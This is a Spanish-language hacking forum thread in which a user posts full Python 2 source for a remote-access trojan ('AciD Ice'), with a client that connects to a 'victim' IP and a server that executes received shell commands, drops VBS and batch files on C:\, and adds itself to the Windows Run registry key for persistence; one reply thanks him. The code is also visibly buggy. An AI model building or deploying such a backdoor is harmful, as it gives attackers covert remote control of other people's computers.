comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Python Trojan - By "bLiNdFiR3"

  • 1 Respuestas
  • 2100 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado d33k40

  • *
  • Underc0der
  • Mensajes: 94
  • Actividad:
    0%
  • Reputación 0
  • En la tierra de los ciegos, el tuerto es el rey.
    • Ver Perfil
    • Email
« en: Abril 03, 2010, 10:18:27 pm »
Buenas, aquí os dejo un troyano sencillo escrito en python

Fuente: No tienes permisos para ver links. Registrate o Entra con tu cuenta
Post original: No tienes permisos para ver links. Registrate o Entra con tu cuenta

Cliente:
Código: Python
  1. import socket
  2. import os
  3. #CLIENT
  4. def body():
  5.       print "AciD Ice Client V-1.2"
  6.       victim_IP = raw_input ("please input an IP to connect to ")
  7.       host = victim_IP
  8.       port = 901
  9.       addr = (victim_IP, 901)
  10.       socket1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  11.       if(socket1.connect(addr)):
  12.           print "connection Made to remote host =]"
  13.       options()
  14.       text_finished0 = "cmd"
  15.       text_finished2 = "file_vbs"
  16.       text_finished3 = "file_bat"
  17.       text_finished4 = "file_text"
  18.       user_input = ""
  19.       while user_input != text_finished0 or text_finished2:
  20.         user_input = raw_input("input what you want to do? ")
  21.         socket1.send(user_input)
  22.         if user_input == text_finished0 or text_finished2 or text_finished3 or textfinished4:
  23.             break
  24.             options()
  25.             user_input = raw_input("What do you want to do? ")
  26.       if user_input == "cmd":
  27.          text_finished = "done"
  28.          file_text = ""  
  29.          print "When finsihed having fun type 'done n"
  30.          while file_text != text_finished:
  31.               file_text = raw_input("please input the proper command: \n")
  32.               socket1.send(file_text)
  33.               if file_text == text_finished:
  34.                   break
  35.                   options()
  36.                   user_input = raw_input("What do you want to do? ")
  37.       if user_input == "file_vbs":
  38.           text_finished3 = "done"
  39.           file_send = ""
  40.           print "when done type 'done'"
  41.           while text_finished3 != file_send:
  42.              file_send = raw_input("input a VISUAL BASIC SCRIPT file to send: \n")
  43.              file = open(file_send, "rb")
  44.              data = file.read()
  45.              file.close()
  46.              if(socket1.send(data)):
  47.                  print file_send,"sent to",victim_IP,"on port 901"
  48.                  if text_finished3 == file_send:
  49.                      break
  50.                      options()
  51.                      user_input = raw_input("What do you want to do? ")
  52.       if user_input == "file_bat":
  53.           text_finished4 = "done"
  54.           file_send2 = ""
  55.           while text_finished4 != file_send2:
  56.             file_send2 = raw_input("input a BATCH file to send: \n")
  57.             file2 = open(file_send2, "rb")
  58.             data2 = file2.read()
  59.             file2.close()
  60.             if(socket1.send(data2)):
  61.                print file_send2,"sent to",victim_IP,"on port 901"
  62.                if text_finished4 == file_send2:
  63.                      break
  64.                      options()
  65.                      user_input = raw_input("What do you want to do? ")
  66.       if user_input == "file_txt":
  67.           text_finished5 = "done"
  68.           file_send3 = ""
  69.           while text_finished5 != file_send3:
  70.              file_send3 = raw_input("input a TEXT file to send: \n")
  71.              file3 = open(file_send3, "rb")
  72.              data3 = file3.read()
  73.              file3.close()
  74.              if(socket1.send(data3)):
  75.                 print file_send3,"sent to",victim_IP,"on port 901"
  76.                 if text_finished5 == file_send3:
  77.                       break
  78.                       options()
  79.                       user_input = raw_input("What do you want to do? ")
  80.    
  81.  
  82. def options():
  83.     print "remote cmd line commands = 'cmd' "
  84.     print "open/close cd drive (coming soon) "
  85.     print "file transfer (vbs) = 'file_vbs' "
  86.     print "file transfer (bat) = 'file_bat' "
  87.     print "file transfer (txt) = 'file_txt' "
  88.     print "keylogger (coming soon) "
  89.     print "When finsihed having fun type 'done'"
  90. if __name__ == '__main__':
  91.     class mainprog:
  92.        body()

Server:
Código: Python
  1. #SERVER
  2. import os
  3. import socket
  4. import string
  5. import sys
  6. from _winreg import *
  7. def body():
  8.     try:
  9.       socket1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  10.       socket1.bind((socket.gethostname(), 901))
  11.       socket1.listen(5)
  12.       conn, addr = socket1.accept()
  13.     except socket.error:
  14.       print "error with sockets"
  15.       data = conn.recv(893892)
  16.       try:
  17.         file = open("C:\\hacked.vbs","w")
  18.         file2 = open("C:\\hacked.bat","w")
  19.         file3 = open("C:\\hacked.txt","w")
  20.       except IOError:
  21.           print "failed to open the programs"
  22.       while 1:
  23.         if data == "cmd":
  24.            data2 = conn.recv(1024)
  25.            os.system(data2)
  26.         if data == "file_vbs":
  27.            data3 = conn.recv(1024)
  28.            try:
  29.              file.write(data3)
  30.              file.close()
  31.            except IOError:
  32.              print "error"
  33.         if data == "file_bat":
  34.            data4 = conn.recv(1024)
  35.            try:
  36.              file2.write(data4)
  37.              file2.close()
  38.            except IOError:
  39.                print "error"
  40.         if data == "file_txt":
  41.            data5 = conn.recv(1024)
  42.            try:
  43.              file3.write(data5)
  44.              file3.close()
  45.            except IOError:
  46.                print "error"
  47.                          
  48. def regwrite():
  49.    aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
  50.    aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
  51.    aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
  52.    SetValueEx(aKey,"AciD Ice",0, REG_SZ, r"C:\Server.exe")
  53.    CloseKey(aKey)
  54.    CloseKey(aReg)
  55. if __name__ == '__main__':
  56.        class mainexecution:
  57.          regwrite()
  58.          body()

Saludos.
« Última modificación: Mayo 03, 2014, 02:57:00 am por Flemon »

Desconectado Dharok

  • *
  • Underc0der
  • Mensajes: 111
  • Actividad:
    0%
  • Reputación 0
  • Siempre atento! Aun vivo.
    • Ver Perfil
    • Email
« Respuesta #1 en: Abril 03, 2010, 11:01:59 pm »
Grax por el aporte!  :D 1+!
No tienes permisos para ver links. Registrate o Entra con tu cuenta

 

¿Te gustó el post? COMPARTILO!



[Código] Yardas a metros - Metros a yardas [Python]

Iniciado por LucaSthefano

Respuestas: 0
Vistas: 1413
Último mensaje Mayo 29, 2011, 01:27:34 am
por LucaSthefano
[Código] Entero / No Entero [Ejercicio - Python]

Iniciado por LucaSthefano

Respuestas: 0
Vistas: 1381
Último mensaje Mayo 29, 2011, 01:24:09 am
por LucaSthefano
[VIDEOTUTORIAL] Aprende a crear programas en Python paso a paso

Iniciado por akame_night_raid

Respuestas: 12
Vistas: 6593
Último mensaje Noviembre 24, 2016, 07:37:14 pm
por zaphiel
[Introducción+código] Introducción al Manejo de Bases de Datos MySQL en Python

Iniciado por blozzter

Respuestas: 2
Vistas: 1713
Último mensaje Noviembre 04, 2011, 06:05:29 pm
por blozzter
Como crear un ejecutable [.exe] de Python para poderlo ejecutar en Windows

Iniciado por [Z]tuX

Respuestas: 2
Vistas: 5421
Último mensaje Mayo 28, 2011, 12:18:29 pm
por Gh0st.C